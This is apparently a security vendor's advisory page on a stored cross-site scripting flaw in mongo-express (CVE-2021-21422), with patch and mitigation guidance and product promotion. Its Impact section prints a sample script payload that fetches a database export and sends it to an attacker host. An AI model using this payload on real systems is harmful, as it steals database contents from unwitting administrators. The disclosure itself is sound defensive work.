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📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-7p8h-86p5-wv3p

HIGHFix: mongo-express/mongo-express@f5e0d49

GHSA-7p8h-86p5-wv3p is a high-severity (CVSS 8.1) Cross-site Scripting (XSS) vulnerability in mongo-express. 2 public exploit references exist, so weaponization risk is real. O3 Security confirms whether GHSA-7p8h-86p5-wv3p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Cross-site scripting

Also known asCVE-2021-21422
Published
Jun 28, 2021
Updated
Jul 8, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
2 known
Exploitation data as of Jul 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
📦mongo-express

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

Two kinds of XSS were found:

  1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
  2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.

Impact

As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:

{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>"  }

This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

Patches

Upgrade to v1.0.0-alpha.4

For more information

If you have any questions or comments about this advisory:

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmmongo-expressall versions1.0.0-alpha.4
Exploits & PoCs
2

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mongo-express. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update mongo-express to 1.0.0-alpha.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7p8h-86p5-wv3p is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-7p8h-86p5-wv3p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7p8h-86p5-wv3p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

Two kinds of XSS were found: 1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. ### Impact As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload: ```JSON {"someField": "long string
O3 Security · Impact-Aware SCA

Is GHSA-7p8h-86p5-wv3p in your dependencies?

O3 detects GHSA-7p8h-86p5-wv3p across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.